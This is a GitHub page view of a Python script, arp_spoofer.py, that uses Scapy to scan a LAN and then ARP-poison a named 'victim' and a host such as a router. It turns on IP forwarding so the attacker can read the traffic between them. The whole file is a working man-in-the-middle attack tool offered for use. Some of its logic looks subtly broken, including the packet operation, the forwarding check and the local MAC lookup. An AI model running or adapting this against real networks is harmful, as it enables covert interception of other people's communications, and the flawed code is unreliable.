-
Notifications
You must be signed in to change notification settings - Fork 0
/
arp_spoofer.py
194 lines (156 loc) · 5.9 KB
/
arp_spoofer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
from scapy.all import Ether, ARP, srp, sendp
import os, sys, time
import requests
import pyfiglet, termcolor
from datetime import datetime
def arp_scan(ip):
"""Perform an arp scan on an ip or a range of ip
Args:
ip (str): The ip's victim or a range of ip
Returns:
list: a list of host who responded to our request
"""
result = []
# This condition calculate the number of host from the network's mask
# Or specify 1 if it's not a range of ips
if "/" in ip:
mask = ip.split("/")
number_hosts = pow(2, (32 - int(mask[1])))
else:
mask = ip.split("/")
number_hosts = 1
print(f"Starting ARP Scan on {mask[0]} with {number_hosts} hosts")
# Make a packet for an ARP request
request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
# srp() sends ARP request AND wait for the response
ans, _ = srp(request, timeout=2, retry=1, verbose=0)
# Append ips, macs, and manufacturer in result list for those who responded
for _, received in ans:
result.append({'IP': received.psrc, 'MAC': received.hwsrc, 'manu': show_manufacturer(received.hwsrc)})
return result
def show_manufacturer(mac):
"""Make an API request to get manufacturer name from a mac address
Args:
mac (string): current mac address
Returns:
string: manufacturer's name
"""
# URL to the API
mac_url = 'https://macvendors.co/api/%s'
# Make API GET request
r = requests.get(mac_url % mac)
# Convert response in a json type
json = r.json()
return json['result']['company']
def enable_linux_iproute():
"""Enables IP route (IP Forward) in Linux-based distro
"""
file_path = "/proc/sys/net/ipv4/ip_forward"
is_forward = False
with open(file_path) as f:
if f.read() == 1:
is_forward = True
return
if not is_forward:
with open(file_path, "w") as f:
print(1, file=f)
def get_mac(ip):
"""Returns MAC address of any device connected to the network
Similar as arp_scan() but it returns directly MAC address and not a list with other informations
Args:
ip (string): the ip of the victim
"""
request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
ans, _ = srp(request, timeout=2, retry=1, verbose=0)
if ans:
return ans[0][1].src
def spoof(target_ip, host_ip, my_mac):
"""Spoofs `target_ip` saying that we are `host_ip`
Args:
target_ip (string): The ip's victim
host_ip (string): Your ip address
"""
# craft the arp 'who-has' operation packet, in other words: an ARP response
arp_response = Ether() / ARP(op='who-has', hwsrc=my_mac, pdst=target_ip, psrc=host_ip)
sendp(arp_response, verbose=0)
print(".", end=" ", flush=True)
def restore(target_ip, host_ip):
"""Restores the normal process of a regular network
This is done by sending the original informations to `target_ip`
Args:
target_ip (string): The ip's victim
host_ip (string): The impersonate ip address
"""
target_mac = get_mac(target_ip)
host_mac = get_mac(host_ip)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
# we send each reply seven times for a good measure
sendp(arp_response, verbose=0, count=7)
def show_help():
"""Show documentation and usage about this script
"""
# Pyfiglet make some cool banner
custom_fig = pyfiglet.Figlet(font='slant')
print(custom_fig.renderText('ARP spoofer'))
print(f"""
Usage:
{os.path.basename(__file__)} -sc <ip>
{os.path.basename(__file__)} -sp <victim_ip> <host_to_impersonate>
Options:
-sc Scan for a specific ip or a range of ip by specifying network's mask
Like 192.168.1.1 for a specific ip or 192.168.1.1/24 for a range of ip
-sp Impersonate a device (for example a router) and tell who you are to you
your victim in order to see its communication between your victim and router
-h Show this screen
""")
def main():
# Get options and arguments
opts = [opt for opt in sys.argv[1:] if opt.startswith("-")]
args = [arg for arg in sys.argv[1:] if not arg.startswith("-")]
if not opts:
show_help()
sys.exit()
if "-h" in opts:
show_help()
sys.exit()
if "-sc" in opts:
t1 = datetime.now()
result = arp_scan(args[0])
# Header's table
print('{0} {1:>18} {2:>29}'.format('IP', 'MAC', 'Manufacturer'))
# Print result in a nice align way
for mapping in result:
ip = mapping['IP']
mac = mapping['MAC']
manufacturer = mapping['manu']
space = 34 - len(ip)
f = '{0} {1:>%d} {2:<2}' % (space)
print(f.format(ip, mac, manufacturer))
t2 = datetime.now()
termcolor.cprint("Scanning Completed in " + str(t2-t1), "green")
elif "-sp" in opts:
if len(args) != 2:
show_help()
termcolor.cprint("You need to specify a target and a host ip", "red")
sys.exit()
else:
enable_linux_iproute()
target = args[0]
host = args[1]
print("[!] Sending spoofed packet to target")
my_mac = get_mac("127.0.0.1")
try:
while True:
# telling the `target` that we are the `host`
spoof(target, host, my_mac)
# telling the `host` that we are the `target`
spoof(host, target, my_mac)
time.sleep(1)
except KeyboardInterrupt:
print("\n[!] Detected CTRL+C! Restoring the network, please wait...")
restore(target, host)
restore(host, target)
else:
raise SystemExit(show_help())
if __name__ == "__main__":
main()